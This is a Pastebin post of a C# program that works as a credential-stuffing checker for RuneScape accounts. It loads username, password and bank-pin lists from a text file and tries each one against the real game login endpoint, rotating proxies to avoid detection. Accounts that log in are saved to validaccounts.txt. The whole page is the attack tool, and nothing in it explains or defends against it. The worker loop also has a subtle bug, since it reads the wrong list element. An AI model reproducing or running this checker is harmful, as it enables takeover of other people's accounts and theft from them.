Advertisement
Guest User

Untitled

a guest
Jan 11th, 2019
248
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.62 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Net;
  6. using System.IO;
  7. using System.Threading;
  8.  
  9. namespace ConsoleApplication2
  10. {
  11. class Program
  12. {
  13. static List<String> accounts = new List<String>();
  14. static List<String> proxies = new List<String>();
  15.  
  16. static void Main(string[] args)
  17. {
  18. int threads = 4;
  19. loadAccounts();
  20. loadProxies();
  21. Console.WriteLine("Enter the amount of threads to run (4 default):");
  22. threads = Int32.Parse(Console.ReadLine());
  23. Console.WriteLine("Starting on " + threads + " threads...");
  24. for (int i = 0; i < threads; i++)
  25. {
  26. ThreadPool.QueueUserWorkItem(new WaitCallback(Worker), i);
  27. }
  28. Console.ReadLine();
  29. }
  30.  
  31. private static void Worker(object state)
  32. {
  33. int threadId = (int)state;
  34. string account = null;
  35. while ((account = getAccount()) != null)
  36. {
  37. String[] acc = accounts[0].Split(':');
  38. if (CheckAccount(acc[0], acc[1]))
  39. {
  40. Console.WriteLine("Thread: " + threadId + " - valid account - Username: " + acc[0] + " Password: " + acc[1]);
  41. WriteToFile("Thread: " + threadId + " - Username: " + acc[0] + " Password: " + acc[1] + (acc.Length > 2 ? "Bank pin: " + acc[2].Substring(5) : ""));
  42. }
  43. else
  44. {
  45. Console.WriteLine("Thread: " + threadId + " - invalid account - Username: " + acc[0] + " Password: " + acc[1]);
  46. }
  47. accounts.RemoveAt(0);
  48. }
  49. Console.ReadLine();
  50. }
  51.  
  52. private static Boolean CheckAccount(String username, String password)
  53. {
  54. while (true)
  55. {
  56. string proxy = getProxy();
  57. string reply = null;
  58. try
  59. {
  60. byte[] buffer = Encoding.ASCII.GetBytes("mod=www&ssl=0&dest=title.ws&username=" + username.Replace(" ", "20%") + "&password=" + password.Replace(" ", "20%"));
  61. HttpWebRequest WebReq = (HttpWebRequest)WebRequest.Create("https://secure.runescape.com/m=weblogin/login.ws");
  62. WebReq.Proxy = new WebProxy(proxy.Split(':')[0], Int32.Parse(proxy.Split(':')[1]));
  63. WebReq.Method = "POST";
  64. WebReq.Referer = "https://secure.runescape.com/m=weblogin/loginform.ws?mod=www&ssl=0&dest=title.ws";
  65. WebReq.ContentType = "application/x-www-form-urlencoded";
  66. WebReq.ContentLength = buffer.Length;
  67. Stream PostData = WebReq.GetRequestStream();
  68. PostData.Write(buffer, 0, buffer.Length);
  69. PostData.Close();
  70. HttpWebResponse WebResp = (HttpWebResponse)WebReq.GetResponse();
  71. Stream Answer = WebResp.GetResponseStream();
  72. StreamReader _Answer = new StreamReader(Answer);
  73. reply = _Answer.ReadToEnd();
  74. if (reply.Contains("Login Successful"))
  75. {
  76. return true;
  77. }
  78. else
  79. {
  80. return false;
  81. }
  82. }
  83. catch
  84. {
  85. //Console.WriteLine("Bad proxy " + proxy);
  86. removeProxy(proxy);
  87. }
  88. Thread.Sleep(30);
  89. }
  90. }
  91.  
  92. private static String getAccount()
  93. {
  94. lock (accounts)
  95. {
  96. if (accounts.Count > 0)
  97. {
  98. String account = accounts[0];
  99. accounts.RemoveAt(0);
  100. return account;
  101. }
  102. }
  103. return null;
  104. }
  105.  
  106. private static void removeProxy(String proxy)
  107. {
  108. lock (proxies)
  109. {
  110. proxies.Remove(proxy);
  111. }
  112. }
  113.  
  114. private static String getProxy()
  115. {
  116. lock (proxies)
  117. {
  118. return proxies[new Random().Next(0, proxies.Count)];
  119. }
  120. }
  121.  
  122. private static void loadProxies()
  123. {
  124. using (TextReader tr = new StreamReader("proxy.txt"))
  125. {
  126. string line = null;
  127. while ((line = tr.ReadLine()) != null)
  128. {
  129. proxies.Add(line);
  130. }
  131. }
  132. }
  133.  
  134. private static void loadAccounts()
  135. {
  136. using (TextReader tr = new StreamReader("accounts.txt"))
  137. {
  138. string line = null;
  139. while ((line = tr.ReadLine()) != null)
  140. {
  141. String[] details = line.Split('\t');
  142. if (details.Length > 1)
  143. {
  144. if (details[0].Length > 6 && details[1].Length > 10)
  145. {
  146. accounts.Add(details[0].Substring(6) + ":" + details[1].Substring(10));
  147. }
  148. }
  149. }
  150. }
  151. }
  152.  
  153. private static void WriteToFile(String account)
  154. {
  155. using (StreamWriter w = File.AppendText("validaccounts.txt"))
  156. {
  157. w.WriteLine(account);
  158. w.Flush();
  159. }
  160. }
  161. }
  162. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement